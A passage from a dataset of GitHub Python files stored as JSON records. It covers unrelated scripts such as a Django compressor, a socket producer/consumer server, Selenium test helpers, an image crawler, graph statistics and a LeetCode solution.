df.T.boxplot()\n# plt.subplots_adjust(bottom=0.25)\n plt.xticks(rotation=25)\n plt.ylim([0.6,1.05])\n plt.plot([0,0],[0,0],'r--')\n plt.title('(b)')\n plt.ylabel('Accuracy')\n plt.xlabel('Classifiers')\n plt.show()\n \ndef LeaveOneOut(X, y):\n loo = cross_validation.LeaveOneOut(n=len(y))\n y = np.asarray(y)\n Trues = []\n Falses = []\n #make training and testing datasets\n for train_index, test_index in loo:\n #print(\"TRAIN:\", train_index, \"TEST:\", test_index)\n X_train, X_test = X.loc[train_index], X.loc[test_index]\n y_train, y_test = y[train_index], y[test_index]\n Accuracy = RFclassify(X_train,y_train,X_test,y_test)\n if Accuracy == 1:\n Trues.append(Accuracy)\n else :\n Falses.append(Accuracy)\n Result = len(Trues)/(len(Trues)+len(Falses))\n print(Result)","repo_name":"meissanechami/ML_CKD_Detection","sub_path":"CValidated.py","file_name":"CValidated.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9662789622","text":"#!/usr/bin/env python3\n\"\"\"Defines the zlib compressor for django-redis-sdk backends\n\"\"\"\n\n\n# from __future__ import\n\n\n__all__ = [\n 'ZlibCompressor',\n]\n__version__ = '1.0.0.0'\n__author__ = \"Midhun C Nair<midhunch@gmail.com>\"\n__maintainers__ = [\n \"Midhun C Nair<midhunch@gmail.com>\",\n]\n\n\nimport zlib\nfrom django.core.exceptions import ImproperlyConfigured\n\nfrom .base_compressor import (\n BaseCompressor\n)\n\n\nclass ZlibCompressor(BaseCompressor):\n \"\"\"Defines the Zlib compressor\n \"\"\"\n\n def __init__(self, options, **kwargs):\n \"\"\"Initializes the Compressor\n \"\"\"\n super().__init__(options, **kwargs)\n\n _level = self._options.get('COMPRESS_LEVEL', None)\n _level = kwargs.get('COMPRESS_LEVEL', None) or _level or 5\n\n try:\n self._level = int(_level)\n except (ValueError, TypeError):\n raise ImproperlyConfigured(\n \"COMPRESS_LEVEL: expected integer got '%s'\" % type(_level)\n )\n\n if (self._level < 1 or self._level > 9):\n raise ImproperlyConfigured(\n \"COMPRESS_LEVEL: expected value between [1 - 9] both inclusive\"\n )\n\n @property\n def level(self):\n \"\"\"level property\n \"\"\"\n return self._level\n\n\n def compress(self, value):\n \"\"\"Compresses the value\n \"\"\"\n return zlib.compress(value, self._level)\n\n def decompress(self, value):\n \"\"\"Decompresses the value\n \"\"\"\n return zlib.decompress(value)\n","repo_name":"midhuncnair/django_redis_sdk","sub_path":"django_redis_sdk/compressors/zlib_compressor.py","file_name":"zlib_compressor.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42400245714","text":"import socket, sys, time\nfrom threading import Thread\nfrom queue import Queue\n\n\ndef producer_worker():\n connection_pro, address_pro = sc_pro.accept()\n print(\"[Producer connected]\")\n try:\n while True:\n msg = connection_pro.recv(100).decode()\n for i in msg:\n queue_events.put(i)\n if msg:\n print(\"[Events created]\")\n print(\"[Remain events: \" + str(queue_events.qsize()) + \"]\")\n except socket.error:\n connection_pro.close()\n sys.exit()\n\ndef consumer_worker(consumer_id):\n try:\n connection_con, address_con = sc_con.accept()\n list_consumers.append(connection_con)\n consumer_id_str = str(consumer_id)\n print(\"[consumer \"+consumer_id_str+\" connected]\")\n print(\"[\"+str(len(list_consumers))+\" consumers online]\")\n connection_con.send(consumer_id_str.encode())\n \n while True:\n if not queue_events.empty():\n msg = queue_events.get()\n connection_con.send(msg.encode())\n print(\"[Remain events: \" + str(queue_events.qsize()) + \"]\")\n else:\n connection_con.send(\"EMPTY\".encode())\n time.sleep(1)\n \n except socket.error:\n print(\"[Consumer \"+consumer_id_str+\" disconnected]\")\n list_consumers.remove(connection_con)\n print(\"[\"+str(len(list_consumers))+\" consumers online]\")\n connection_con.close()\n \n\nif __name__ == '__main__':\n try:\n queue_events = Queue()\n host, port_pro_str, port_con_str = input().split()\n port_pro = int(port_pro_str)\n port_con = int(port_con_str)\n \n sc_pro = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sc_pro.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) \n sc_pro.bind((host, port_pro))\n sc_pro.listen(5)\n \n sc_con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sc_con.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sc_con.bind((host, port_con))\n sc_con.listen(socket.SOMAXCONN-10)\n \n producer_thread = Thread(target=producer_worker)\n producer_thread.start()\n \n consumer_id = 0\n list_consumers = list()\n i = 0\n while i < socket.SOMAXCONN-10:\n consumer_id += 1\n i += 1\n worker_thread = Thread(target=consumer_worker, args=(consumer_id,))\n worker_thread.start()\n except KeyboardInterrupt:\n list_consumers.clear()\n sc_pro.close()\n sc_con.close()\n sys.exit(0)\n","repo_name":"becooq81/Socket-Producer-Consumer","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17852045394","text":"from Seminars.Sem_4.BaseApp import BasePage\nfrom selenium.webdriver.common.by import By\nimport logging\n\n\nclass TestSearchLocators:\n \"\"\"Класс для хранения локаторов\"\"\"\n # Локатор поля ввода username страницы авторизации\n LOCATOR_LOGIN_FIELD = (By.XPATH, '//*[@id=\"login\"]/div[1]/label/input')\n # Поле ввода password страницы авторизации\n LOCATOR_PASS_FIELD = (By.XPATH, '//*[@id=\"login\"]/div[2]/label/input')\n # Блок ошибки страницы авторизации\n LOCATOR_ERROR_FIELD = (By.XPATH, '//*[@id=\"app\"]/main/div/div/div[2]/h2')\n # Ссылка на профиль пользователя с выпадающим меню на главной странице\n LOCATOR_USER_PROFILE_LINK = (By.XPATH, '//*[@id=\"app\"]/main/nav/ul/li[3]/a')\n # Поле ввода Title формы создания поста\n LOCATOR_FORM_POST_TITLE = (By.XPATH, '/html/body/div/main/div/div/form/div/div/div[1]/div/label/input')\n # Поле ввода Description формы создания поста\n LOCATOR_FORM_POST_DESCRIPTION = (By.XPATH, '/html/body/div/main/div/div/form/div/div/div[2]/div/label/span/textarea')\n # Поле ввода Content формы создания поста\n LOCATOR_FORM_POST_CONTENT = (By.XPATH, '/html/body/div/main/div/div/form/div/div/div[3]/div/label/span/textarea')\n # Название поста на странице поста сразу после его создания\n LOCATOR_POST_NAME = (By.XPATH, '//*[@id=\"app\"]/main/div/div[1]/h1')\n # Кнопка Login страницы авторизации\n LOCATOR_LOGIN_BTN = (By.CSS_SELECTOR, 'button')\n # Кнопка создания поста на главной странице\n LOCATOR_CREATE_POST_BTN = (By.CSS_SELECTOR, '#create-btn')\n # Кнопка сохранения поста SAVE формы создания поста\n LOCATOR_SAVE_POST_BTN = (By.CSS_SELECTOR, '.mdc-button__label')\n # Кнопка \"Contact\", открытие формы\n LOCATOR_OPEN_FORM_CONTACT_BTN = (By.CSS_SELECTOR, '#app > main > nav > ul > li:nth-child(2) > a')\n # Поле ввода \"Your name\" в форме обратной связи\n LOCATOR_YOUR_NAME_CONTACT_US = (By.XPATH, '//*[@id=\"contact\"]/div[1]/label/input')\n # Поле ввода \" Your email\" в форме обратной связи\n LOCATOR_YOUR_EMAIL_CONTACT_US = (By.XPATH, '//*[@id=\"contact\"]/div[2]/label/input')\n # Поле \"Content\" в форме обратной связи\n LOCATOR_CONTENT_CONTACT_US = (By.XPATH, '//*[@id=\"contact\"]/div[3]/label/span/textarea')\n # Кнопка \"CONTACT US\" в форме обратной связи\n LOCATOR_CONTACT_US_BTN = (By.XPATH, \"\"\"//*[@id=\"contact\"]/div[4]/button\"\"\")\n # (By.CSS_SELECTOR, 'button')\n\n\n\n\n\nclass OperationsHelper(BasePage):\n \"\"\"Класс, содержащий методы для работы с элементами на веб-страницах\"\"\"\n def enter_login(self, word):\n logging.info(f'Send {word} to element {TestSearchLocators.LOCATOR_LOGIN_FIELD[1]}')\n \"\"\"Ввод логина username на странице авторизации\"\"\"\n login_field = self.find_element(TestSearchLocators.LOCATOR_LOGIN_FIELD)\n login_field.clear()\n login_field.send_keys(word)\n\n def enter_pass(self, word):\n \"\"\"Ввод пароля password на странице авторизации\"\"\"\n logging.info(f'Send {word} to element {TestSearchLocators.LOCATOR_PASS_FIELD[1]}')\n login_field = self.find_element(TestSearchLocators.LOCATOR_PASS_FIELD)\n login_field.clear()\n login_field.send_keys(word)\n\n def get_error_text(self):\n \"\"\"Ищет элемент с оповещением об ошибке и получает атрибут text\"\"\"\n error_field = self.find_element(TestSearchLocators.LOCATOR_ERROR_FIELD, time=2)\n text = error_field.text\n logging.info(f'Founded text {text} in error field {TestSearchLocators.LOCATOR_ERROR_FIELD[1]}')\n return text\n\n def get_login_text(self):\n \"\"\"Возврат имени пользователя\"\"\"\n element_successful_login = self.find_element(TestSearchLocators.LOCATOR_USER_PROFILE_LINK, time=2)\n text = element_successful_login.text\n return text\n\n def get_post_title(self):\n \"\"\"Возврат названия поста пользователя\"\"\"\n element_post_title = self.find_element(TestSearchLocators.LOCATOR_POST_NAME, time=2)\n text = element_post_title.text\n return text\n\n def enter_post_title(self, word):\n \"\"\"Ввод заголовка Title в форме создания поста\"\"\"\n logging.info(f'Send {word} to element {TestSearchLocators.LOCATOR_FORM_POST_TITLE[1]}')\n title_field = self.find_element(TestSearchLocators.LOCATOR_FORM_POST_TITLE)\n title_field.clear()\n title_field.send_keys(word)\n\n def enter_post_description(self, word):\n \"\"\"Ввод описания Description в форме создания поста\"\"\"\n logging.info(f'Send {word} to element {TestSearchLocators.LOCATOR_FORM_POST_DESCRIPTION[1]}')\n description_field = self.find_element(TestSearchLocators.LOCATOR_FORM_POST_DESCRIPTION)\n description_field.clear()\n description_field.send_keys(word)\n\n def enter_post_content(self, word):\n \"\"\"Ввод поста Content в форме создания поста\"\"\"\n logging.info(f'Send {word} to element {TestSearchLocators.LOCATOR_FORM_POST_CONTENT[1]}')\n content_field = self.find_element(TestSearchLocators.LOCATOR_FORM_POST_CONTENT)\n content_field.clear()\n content_field.send_keys(word)\n\n\n def enter_your_name_contact_us(self, word):\n \"\"\"Ввод Вашего имени в форме обратной связи\"\"\"\n logging.info(f'Send {word} to element {TestSearchLocators.LOCATOR_YOUR_NAME_CONTACT_US[1]}')\n content_field = self.find_element(TestSearchLocators.LOCATOR_YOUR_NAME_CONTACT_US)\n content_field.clear()\n content_field.send_keys(word)\n\n\n def enter_your_mail_contact_us(self, word):\n \"\"\"ВВод Вашего email в форме обратной связи\"\"\"\n logging.info(f'Send {word} to element {TestSearchLocators.LOCATOR_YOUR_EMAIL_CONTACT_US[1]}')\n content_field = self.find_element(TestSearchLocators.LOCATOR_YOUR_EMAIL_CONTACT_US)\n content_field.clear()\n content_field.send_keys(word)\n\n\n def enter_content_contact_us(self, word):\n \"\"\"ВВод Content в форме обратной связи\"\"\"\n logging.info(f'send {word} to element {TestSearchLocators.LOCATOR_CONTENT_CONTACT_US[1]}')\n content_field = self.find_element(TestSearchLocators.LOCATOR_CONTENT_CONTACT_US)\n content_field.clear()\n content_field.send_keys(word)\n\n\n\n def click_login_button(self):\n \"\"\"Нажатие кнопки Login страницы авторизации\"\"\"\n logging.info('Click login button')\n self.find_element(TestSearchLocators.LOCATOR_LOGIN_BTN).click()\n\n def click_create_post_button(self):\n \"\"\"Нажатие кнопки создания поста\"\"\"\n logging.info('Click creating post button')\n self.find_element(TestSearchLocators.LOCATOR_CREATE_POST_BTN).click()\n\n def click_save_post_button(self):\n \"\"\"Нажатие кнопки сохранения поста\"\"\"\n logging.info('Click saving post button')\n self.find_element(TestSearchLocators.LOCATOR_SAVE_POST_BTN).click()\n\n\n def click_contact_button(self):\n \"\"\"Нажатие кнопки Contact, открытие формы\"\"\"\n logging.info('Click on the button Contact')\n self.find_element(TestSearchLocators.LOCATOR_OPEN_FORM_CONTACT_BTN).click()\n\n\n def click_contact_us_button(self):\n \"\"\"Клик по кнопке 'CONTACT US' \"\"\"\n logging.info('Click on the button CONTACT US')\n self.find_element(TestSearchLocators.LOCATOR_CONTACT_US_BTN)\n\n\n def get_alert_contact_us(self):\n \"\"\"Получение текста подстерждение действия на странице \"\"\"\n logging.info('Get text alert')\n text = self.get_alert_text()\n logging.info(text)\n return text\n\n\n\n\n","repo_name":"TatSoz/Test_Web_by_Python","sub_path":"Seminars/Sem_3/HW_3/testpage.py","file_name":"testpage.py","file_ext":"py","file_size_in_byte":8524,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12419162758","text":"import time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom webdriver_manager.chrome import ChromeDriverManager\n\n# 브라우저 꺼짐 방지\nchrome_options = Options()\nchrome_options.add_experimental_option(\"detach\", True)\n\n# 불필요한 에러 메시지 없애기\nchrome_options.add_experimental_option(\"excludeSwitches\", [\"enable-logging\"])\nservice = Service(executable_path=ChromeDriverManager().install())\ndriver = webdriver.Chrome(service=service, options=chrome_options)\n\n# 웹페이지 해당 주소 이동\ndriver.get(\"https://www.google.co.kr/imghp?hl=ko&tab=wi&authuser=0&ogbl\")\n# 로딩이 끝날 때까지 10초 기다리기\ndriver.implicitly_wait(10)\n\n# 검색창 클릭\nsearch = driver.find_element(By.CSS_SELECTOR, 'input.gLFyf')\nsearch.click()\n\n# 검색어 입력\nsearch.send_keys(\"호텔\")\nsearch.send_keys(Keys.ENTER)\n\n# 스크롤 끝까지 내리기\nSCROLL_PAUSE_TIME = 2\n\nlast_height = driver.execute_script(\"return document.body.scrollHeight\")\nwhile True:\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n time.sleep(SCROLL_PAUSE_TIME)\n new_height = driver.execute_script(\"return document.body.scrollHeight\")\n\n if new_height == last_height:\n try:\n driver.find_element(By.CSS_SELECTOR, \".mye4qd\").click()\n except:\n break\n last_height = new_height\n\n\n# 이미지 url 가져오기\ndef img_url():\n links = []\n images = driver.find_elements(By.CSS_SELECTOR, \".rg_i.Q4LuWd\")\n try:\n for image in images:\n driver.execute_script(\"arguments[0].click();\", image)\n time.sleep(2)\n imgUrl = driver.find_element(By.XPATH,\n '//*[@id=\"Sva75c\"]/div[2]/div/div[2]/div[2]/div[2]/c-wiz/div/div[1]/div[2]/div[2]/div/a/img').get_attribute(\n \"src\")\n if (imgUrl != None):\n links.append(imgUrl)\n except Exception as e:\n print(e)\n pass\n\n print(\"찾은 이미지 개수 : \", len(links))\n\n driver.close()\n\n return links\n","repo_name":"im-Lily/Crawling","sub_path":"hotel/googleImgUrl.py","file_name":"googleImgUrl.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11925978081","text":"from collections import deque\nfrom math import inf\nimport sys\ninput = sys.stdin.readline\n\ndx = [-1, 0, 1, 0]\ndy = [0, -1, 0, 1]\n\ndef bfs(_x, _y):\n q = deque([(0, _x, _y, 0)])\n while q:\n bit, x, y, count = q.popleft()\n if arr[x][y] == '1':\n print(count); return;\n\n if not visited[bit][x][y]:\n visited[bit][x][y] = True\n for i in range(4):\n nx = x + dx[i]; ny = y + dy[i]\n if 0 <= nx < h and 0 <= ny < w and arr[nx][ny] != '#':\n if arr[nx][ny] == '0' or arr[nx][ny] == '.' or arr[nx][ny] == '1':\n q.append((bit,nx,ny,count+1))\n else:\n if 0 <= ord(arr[nx][ny]) - 65 <= 5:\n door = ord(arr[nx][ny]) - 65\n if not bit & 1 << door: continue\n q.append((bit,nx,ny,count+1))\n if 0 <= ord(arr[nx][ny]) - 97 <= 5:\n key = ord(arr[nx][ny]) - 97\n nbit = bit + (1 << key) if not bit & (1 << key) else bit\n q.append((nbit,nx,ny,count+1))\n print(-1)\n\ndef solution(w,h,arr):\n global visited, dirty\n for i in range(h):\n for j in range(w):\n if arr[i][j] == '0':\n x = i; y = j\n break\n visited = [[[False for _ in range(w)] for _ in range(h)] for _ in range(1 << 6)]\n bfs(x, y)\n\nif __name__ == '__main__':\n global w, h, arr\n h, w = map(int, input().strip().split())\n arr = []\n for _ in range(h):\n arr.append(list(map(str, input().strip())))\n solution(w,h,arr)","repo_name":"WonyJeong/wony-algo","sub_path":"BOJ/level/gold/1194.py","file_name":"1194.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74543211878","text":"import sys, time\nimport networkx as nx\n\nstart = time.time()\n\nG = nx.Graph()\n\nf = open(\"network\", \"r\")\nfor line in f:\n fields = line.strip().split()\n G.add_edge(int(fields[0]), int(fields[1]))\nf.close()\n\nsys.stderr.write(\"Data load! Runtime: %s\\n\" % (time.time() - start))\n\navg_clusterings = nx.clustering(G)\n\nsys.stderr.write(\"Clusering calculated! Runtime: %s\\n\" % (time.time() - start))\n\nneigh_degree = nx.average_neighbor_degree(G)\n\nsys.stderr.write(\"AVG Neighbor degree calculated! Runtime: %s\\n\" % (time.time() - start))\n\nbet_centr = nx.betweenness_centrality(G, k = 10000)\n\nsys.stderr.write(\"Betweenness centrality calculated! Runtime: %s\\n\" % (time.time() - start))\n\nclo_centr = nx.closeness_centrality(G)\n\nsys.stderr.write(\"Closeness centrality calculated! Runtime: %s\\n\" % (time.time() - start))\n\nf = open(\"node_stats_approx\", 'w')\nfor i in G:\n f.write(\"%d::%s::%s::%s::%s\\n\" % (i, avg_clusterings[i], neigh_degree[i], bet_centr[i], clo_centr[i]))\nf.close()\n\nsys.stderr.write(\"Done! Runtime: %s\\n\" % (time.time() - start))\n","repo_name":"GiulioRossetti/leader_detect","sub_path":"netstats.py","file_name":"netstats.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"25217451082","text":"# https://leetcode.com/problems/basic-calculator/\n# tags: #facebook, #matrix, #recursion, #stack, #string\n#\n# Solution: Sign stack + Two Pointers\n# In order to solve this problem in one-pass do the following:\n# 1. When the current char is numeric find the move i to the next non-numeric char or end of the string\n# and add this found number along with the last sign found.\n# 2. Else, we have two options:\n# * If the current char is a closing parenthesis just remove the last seen sign.\n# * This is the tricky part, if the current char is a minus '-' append an inverted sign to the stack, on the\n# contrary if it's a plus or an opening parenthesis append the last seen sign to the stack consistent and\n# move the index.\n# Time complexity: O(n), Space complexity O(n)\nfrom collections import deque\n\n\nclass Solution:\n def calculate(self, s: str) -> int:\n i, n, total, = 0, len(s), 0\n signs = deque([1, 1])\n\n while i < n:\n c = s[i]\n\n if c.isdigit():\n start = i\n while i < n and s[i].isdigit():\n i += 1\n total += int(s[start: i]) * signs.pop()\n else:\n if s[i] == \")\":\n signs.pop()\n elif s[i] in '+-(':\n signs.append(signs[-1] * (1, -1)[c == \"-\"])\n i += 1\n\n return total\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print(sol.calculate(s=\"1 + 1\")) # 2\n print(sol.calculate(s=\" 2-1 + 2 \")) # 3\n print(sol.calculate(s=\"(1+(4+5+2)-3)+(6+8)\")) # 23\n","repo_name":"ronelzb/leetcode","sub_path":"stack/0224_basic_calculator.py","file_name":"0224_basic_calculator.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29128130033","text":"#!/usr/bin/python\n\nimport time\n\nimport app_ui as ui\n#import utils \nimport led_command as lc\n\ntones = [309, 412, 583, 734, 778, 824, 1166, 1235, 1309, 1387, 1962, 2078, 2202]\n\ntone_very_low1 = 0\ntone_very_low2 = 1\ntone_very_low3 = 2\ntone_very_low = 1\n\ntone_low4 = 3\ntone_low5 = 4\ntone_low6 = 5\ntone_low = 4\n\ntone_mid1 = 6\ntone_mid2 = 7\ntone_mid3 = 8\ntone_mid4 = 9\ntone_mid = 6\n\n# mid/low good on/off toggle\n\ntone_high1 = 10\ntone_high2 = 11\ntone_high1 = 12\ntone_high = 11\n\nvery_short = 50\nshort = 100\nlong = 300\nvery_long = 1000\n\nglobal sleep_time, key_callback, verbose_mode\nverbose_mode = False\n\ndef begin(verbose_mode_=False):\n global verbose_mode\n verbose_mode = verbose_mode_ \n lc.begin() #verbose_mode)\n lc.stop_all()\n\n# ========================================\n\ndef send(command):\n lc.command(\"::3:pau:\" + command + \":3:cnt:1:cnt\")\n ui.report_verbose_alt(\"sent: \" + command)\n\ndef tone(note, duration):\n freq = tones[note]\n send(str(freq) + \",\" + str(duration) + \":ton\")\n\ndef multi_tone(times, note, duration):\n for n in range(times):\n tone(note, duration)\n time.sleep(1000.0 / duration)\n\ndef store_long_press_tone(note=None, duration=None):\n if note == None:\n note = tone_high\n if duration == None:\n duration = long\n freq = tones[note]\n\n # this causes two beeps on first key press\n #send(\"3,-1,0:key:0:set:\" + str(freq) + \",\" + str(duration) + \":ton\")\n lc.command_str(\"3,-1,0:key:0:set:\" + str(freq) + \",\" + str(duration) + \":ton\")\n\n# functional tone types\n\ndef hello():\n tone(tone_very_low, very_short)\n tone(tone_low, very_short)\n tone(tone_mid, very_short)\n tone(tone_high, very_short)\n\ndef goodbye():\n tone(tone_high, very_short)\n tone(tone_mid, very_short)\n tone(tone_low, very_short)\n tone(tone_very_low, very_short)\n\ndef toggle_on():\n tone(tone_mid, short)\n\ndef toggle_off():\n tone(tone_low, short)\n\ndef gone():\n tone(tone_very_low, long)\n\ndef keypress():\n tone(tone_high, very_short)\n\ndef activate():\n tone(tone_high, short)\n\ndef activate2():\n tone(tone_high, very_short)\n time.sleep(short / 1000.0)\n tone(tone_high, very_short)\n\ndef long_activate():\n tone(tone_high, long)\n\ndef right():\n tone(tone_low, very_short)\n tone(tone_high, very_short)\n\ndef wrong():\n tone(tone_very_low, very_long)\n\n","repo_name":"jhogsett/linkit","sub_path":"python/tones.py","file_name":"tones.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"33152294815","text":"# ---------------------------------------------------- task_binaries.py -----------------------------------------------------\n# Author: Alexey Latyshev --------------------------------------------------------------------------------------------\n# This file contains code to generate binaries from existing single stars\n# ====================================================================================================================\nimport numpy as np\nimport pyfits as pf\n\nfrom display import displayImage\nfrom sim import simBinary\nfrom sim import imageToFits\n\nimport datetime\n\nddir='/import/pendragon1/latyshev/Data/KerPhases/'\nin_dir='outputs/frozen_noiseless500/PSF/'\nout_dir='outputs/frozen_noiseless500/PSF/binaries/'\nin_file='golay9_scale50_0.6.fits'\nout_file='golay9_0.6_scale50_frozen_s135_c5_a0_500.fits'\n\n\npupilSize=8.0\t\t# pupil diameter in meters (NB: MUST be smaller than phasescreen)\nplateScale=27.0\t\t# plate scale (mas/pixel)\nscale=100.0\t\t\t# scale factor (pixels/m)\nwl=2.6e-6\t\t\t#base wavelength\n\n#chip_px=1038\t\t# number of elements per chip (1dim) (scaled to work correctly with kPhases code)\n\nexp_time=0.0\t\t# exposure time in seconds\n\t\nstrehl=0.6\ncontrast=5.\nsepPx=5 # approx 2 lambda/D\nangle=0.\n\n\n'''\nim=pf.getdata(ddir+in_dir+in_file)\nim1=np.zeros(np.shape(im))\nfor i in range(0,im.shape[0]) :\n\tim1[i]=simBinary(im[i], c=contrast, sep=sepPx, ang=angle, lambdaD=0., pscale=0., forceInt=True)\n\ndt=datetime.datetime.now()\nimageToFits(im1,path=ddir+out_dir,filename=out_file,\n tel='simu',pscale=plateScale,odate=dt.strftime(\"%b %d, %Y\"), otime=dt.strftime(\"%H:%M:%S.%f\"),\n\t\ttint=exp_time,filter=wl)\n'''\n\n#for s in ['no_ao',0.01'','0.02','0.05','0.1','0.2','0.4','0.6'] :\nfor s in ['0.02','0.05','0.1','0.2','0.4','0.6','0.8','0.9'] :\n\tin_file='full_hex15_'+s+'.fits'\n\tout_file='full_hex15_frozen_'+s+'_s135_c5_a0_7000.fits'\t\n\tim=pf.getdata(ddir+in_dir+in_file)\n\tim1=np.zeros(np.shape(im))\n\tfor i in range(0,im.shape[0]) :\n\t\tim1[i]=simBinary(im[i], c=contrast, sep=sepPx, ang=angle, lambdaD=0., pscale=0., forceInt=True)\n\tdt=datetime.datetime.now()\n\timageToFits(im1,path=ddir+out_dir,filename=out_file,\n tel='simu',pscale=plateScale,odate=dt.strftime(\"%b %d, %Y\"), otime=dt.strftime(\"%H:%M:%S.%f\"),\n\t\ttint=exp_time,filter=wl)\n\t\t\ndata=[]\ndata.append(('full_hex15','full_hex15','full_hex15_scale50','full_hex15_scale50'))\ndata.append(('ann_hex15','ann_hex15','ann_hex15_scale50','ann_hex15_scale50'))\ndata.append(('ann_hex15_w05','ann_hex15_w05','ann_hex15_w05_scale50','ann_hex15_w05_scale50'))\ndata.append(('golay9','golay9','golay9_scale50','golay9_scale50'))\n# lines in data array to analyse\nactive = range(0,len(data))\t\n\nfor s in ['no_ao','0.05','0.1','0.2','0.4','0.6','0.8','0.9'] :\n\tfor num in active :\n\t\tin_file=data[num][3]+'_'+s+'.fits'\n\t\tout_file=data[num][3]+'_'+s+'_s135_c5_a0_500.fits'\n\t\tprint(in_file)\n\t\tim=pf.getdata(ddir+in_dir+in_file)\n\t\tim1=np.zeros(np.shape(im))\n\t\tfor i in range(0,im.shape[0]) :\n\t\t\tim1[i]=simBinary(im[i], c=contrast, sep=sepPx, ang=angle, lambdaD=0., pscale=0., forceInt=True)\n\t\tdt=datetime.datetime.now()\n\t\timageToFits(im1,path=ddir+out_dir,filename=out_file,\n\t\t\t\ttel='simu',pscale=plateScale,odate=dt.strftime(\"%b %d, %Y\"), otime=dt.strftime(\"%H:%M:%S.%f\"),\n\t\t\t\ttint=exp_time,filter=wl)\n","repo_name":"benjaminpope/pysco","sub_path":"Seeing/task_binaries.py","file_name":"task_binaries.py","file_ext":"py","file_size_in_byte":3264,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"9248204134","text":"import sqlite3 as conector\nfrom ModeloQueries import Veiculo, Marca\n\nconexao = conector.connect(\"./meu_banco.db\")\ncursor = conexao.cursor()\n\n\ncomando = '''SELECT * FROM\n Veiculo JOIN Marca ON Marca.id=Veiculo.marca;'''\n\ncursor.execute(comando)\nregistros = cursor.fetchall()\n\nfor registro in registros:\n print(registro)\n marca = Marca(*registro[7:]) # insere apenas os valores do indice 7 em diante, pois o JOIN foi feito assim: (veiculo.1, veiculo.2, veiculo.3, veiculo.4, veicul.5, veiculo.6, marca.7, marca.8, marca.9)\n veiculo = Veiculo(*registro[:5], marca) # insere até o índice 5 dos valores do registro, o ultimo indice preenche com um objeto do tipo marca.\n print(\"Placa :\", veiculo.placa, \"Marca:\", veiculo.marca.nome)\n\n\n\nif conexao:\n cursor.close()\n conexao.close()","repo_name":"igoradriano/manipulacao-dados-python-bd","sub_path":"cap-3/18-select-join-on-com-atributo-do-objeto.py","file_name":"18-select-join-on-com-atributo-do-objeto.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71426961320","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n\n# For example, here's several helpful packages to load in \n\n\n\nimport numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\nfrom time import time # code performance benchmark\n\n# Input data files are available in the \"../input/\" directory.\n\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\n\n\n\nfrom subprocess import check_output\n\nprint(check_output([\"ls\", \"../input\"]).decode(\"utf8\"))\n\n\n\n\n\n# Any results you write to the current directory are saved as output.\n# variables used in all parts\n\nuserfile = '../input/user_logs.csv'\n\nchuncksize = 2*10**6 #a chuncksize of 2M rows as a starting point\n\nchuncknumbers_max = 20 # we will not read all the file, only 20 chuncks, enough for the demonstration\n\nchunck_number = 0\n\nuser_df = pd.DataFrame()\n\nt = time()\n\nfor df in pd.read_csv(userfile, chunksize=chuncksize, iterator=True, header=0):\n\n user_df = user_df.append(df, ignore_index=True)\n\n chunck_number += 1\n\n if chunck_number == chuncknumbers_max :\n\n break\n\nINITIAL_TIME = int(time()-t)\n\nprint('done in '+ str(INITIAL_TIME)+'s')\n\n\n\nprint('memory usage (MB) : ')\n\nINITIAL_MEM = int(user_df.memory_usage(deep=True).sum()/1024**2)\n\nprint(INITIAL_MEM)\n\nprint('dataframe details')\n\nprint(user_df.info(memory_usage='deep'))\nchunck_number = 0\n\nuser_df = None\n\nlist_of_df = []\n\nt = time()\n\nfor df in pd.read_csv(userfile, chunksize=chuncksize, iterator=True, header=0):\n\n # this is a list().append function which is called here, not a Dataframe.append function\n\n list_of_df.append(df)\n\n chunck_number += 1\n\n if chunck_number == chuncknumbers_max :\n\n break\n\nuser_df = pd.concat(list_of_df, ignore_index=True)\n\n# we don't need this list anymore so we suppress it (since it has almost the same size as the obtained dataframe )\n\ndel list_of_df\n\ncurrent_time = int(time()-t)\n\nprint('done in '+ str(current_time)+'s')\n\nprint('performance increase : '+ str(int(100*(1-current_time/INITIAL_TIME))) + '%')\n\nprint('memory usage (MB) : ')\n\ncurrent_mem = int(user_df.memory_usage(deep=True).sum()/1024**2)\n\nprint(current_mem)\n\n# specify dtype associated with each columns of the csv, string dtype correspond also to object dtype\n\ndtype_cols = {'msno': object, 'date':np.int64, 'num_25': np.int32, 'num_50': 